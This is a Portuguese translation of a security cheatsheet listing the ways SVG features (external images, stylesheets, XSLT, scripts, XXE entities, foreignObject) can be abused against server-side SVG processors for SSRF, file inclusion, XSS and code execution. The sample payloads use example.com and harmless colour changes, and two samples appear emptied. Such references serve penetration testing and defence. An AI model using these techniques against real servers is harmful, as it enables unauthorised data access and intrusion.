
Uma cheatsheet para explorar processadores de SVG no lado do servidor.
Hosts que processam SVG podem potencialmente ser vulneráveis a SSRF, LFI, XSS, RCE por causa do rico conjunto de recursos do SVG.
Todos esses métodos especificam uma URI, que pode ser absoluta ou relativa. Os protocolos file e HTTP são importantes para testar, mas ele também pode suportar outros protocolos dependendo da implementação (ex.: esquemas de stream do PHP), incluindo javascript: e data:.
Este documento contém uma lista de todas as maneiras que conheço para abusar dessa funcionalidade em SVG.
Observe que alguns serviços que afirmam não aceitar SVG como formato de entrada na verdade o aceitam com um pouco de persuasão.
file padrão não inclui nenhum magic de SVG, então provavelmente isso fica a cargo de cada implementação.SVG pode incluir imagens externas diretamente por meio da tag <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Observe que você também pode usar isso para incluir imagens de outros SVGs.
<use>SVG pode incluir conteúdo SVG externo por meio da tag <use>.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>O SVG pode incluir folhas de estilo externas por meio da tag <link>, assim como o HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
Os SVGs podem incluir folhas de estilo XSLT via <?xml-stylesheet?>. Surpreendentemente, isso parece funcionar no Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Nota: devido à natureza do XSLT, a entrada não precisa realmente ser um arquivo SVG válido se o xml-stylesheet for ignorado, mas é útil para contornar filtros.
Além disso, como não tenho interesse em aprender XSLT, este template simplesmente substitui por completo a imagem "antiga" pela nova.
O SVG pode incluir nativamente JavaScript inline, assim como o HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
O SVG também pode incluir scripts externos.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
O SVG também pode ter manipuladores de eventos inline que são executados no onload.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
Você também pode vincular manipuladores a animações e a alguns outros eventos. Leia a especificação do SVG.
Como o SVG é XML, ele também pode ter XXEs:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>A tag <foreignObject> é insana. Ela pode ser usada para incluir (X)HTML arbitrário em um SVG.
Por exemplo, para incluir um iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Se você não tiver acesso à rede (ex.: sandbox), pode colocar uma data URI ou uma URI javascript como destino do iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Se você ainda não se cansou de SVGs, também pode incluir mais SVGs por meio das tags <object> ou <embed>. Eu acho que provavelmente é teoricamente possível colocar Flash lá também.
Observe também que, por estar em um namespace XML diferente, qualquer coisa que remova apenas svg:script pode não ter removido html:script (ou algo semelhante para atributos).
É possível incluir fontes externas se você algum dia quiser fazer isso, acho que tanto via CSS quanto via atributos nativos. Isso não é realmente útil, porém, porque webfonts exigem CORS por algum motivo que não entendo muito bem, relacionado a DRM para recursos de fonte, a fim de evitar hotlinking. Mas acho que às vezes existem vulnerabilidades no mecanismo de fontes.
Este exemplo da especificação do SVG mostra o uso de um nó tref para referenciar texto por URI; no entanto, ele não parece funcionar em nenhum visualizador que tentei. Se houver uma implementação que o suporte, ela também pode suportar URIs externas para o href no tref.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
Se você conhece outros métodos ou informações/exemplos relevantes, sinta-se à vontade para abrir uma issue/PR.
Se você achou isso útil, eu agradeceria se me avisasse! Isso faz o meu dia.
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.